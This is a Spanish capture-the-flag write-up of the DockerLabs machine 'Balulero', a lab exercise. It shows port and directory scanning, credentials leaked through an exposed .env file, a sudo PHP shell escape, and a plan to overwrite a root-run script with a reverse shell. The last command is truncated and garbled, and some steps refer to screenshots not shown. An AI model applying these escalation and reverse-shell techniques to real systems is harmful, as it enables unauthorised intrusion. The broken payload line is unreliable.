> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/balulero.md).
# 🟩 Balulero
## 🕵️ Reconocimiento
Comenzamos con un escaneo de puertos con `nmap`:
{% code overflow="wrap" %}
```bash
nmap -sC -sV -Pn $IPTARGET | tee nmap
```
{% endcode %}
Vemos que se encuentran abiertos los puertos de SSH (22) y HTTP (80). Vamos a realizar un escaneo de directorios con `ffuf` sobre el servicio web:
{% code overflow="wrap" %}
```bash
ffuf -w /usr/share/wordlists/SecLists-2025.2/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://$IPTARGET/FUZZ" -e .html,.php,.txt,.xml,.js
```
{% endcode %}
Si visualizamos el código javascript de `script.js` en el navegador, encontramos una línea llamativa donde menciona un fichero llamado `.env_de_baluchingon`:
Si vemos el contenido de este fichero en la web, podemos observar unas credenciales.
## 🚪 Ganando acceso
Nos conectamos con estas credenciales al servicio SSH.
## 💥 Escalada de privilegios
Vemos los permisos que tenemos con `sudo` en este usuario:
Vemos que tenemos permisos para usar el binario `/usr/bin/php` como el usuario `chocolate` sin necesidad de contraseña. Podemos usar `php` para llamar al binario `/bin/sh` y obtener una shell como `chocolate`.
{% code overflow="wrap" %}
```bash
sudo -u chocolate php -r 'system("/bin/sh -i");'
```
{% endcode %}
Si vemos los procesos que se están ejecutando como `root` en el sistema, vemos un proceso interesante:
{% code overflow="wrap" %}
```bash
ps aux | grep root
```
{% endcode %}
En concreto, el proceso que ejecuta `while true; do php /opt/script.php; sleep 5; done`. Si vemos el fichero `/opt/script.php`, tenemos permisos de escritura, por lo que podemos modificarlo para que ejecute una reverse shell hacia nuestra máquina atacante.
Modificamos el fichero y nos ponemos a la escucha en nuestra máquina kali:
{% code overflow="wrap" %}
```bash
echo '&3 2>&3"); ?>' > script.php
```
{% endcode %}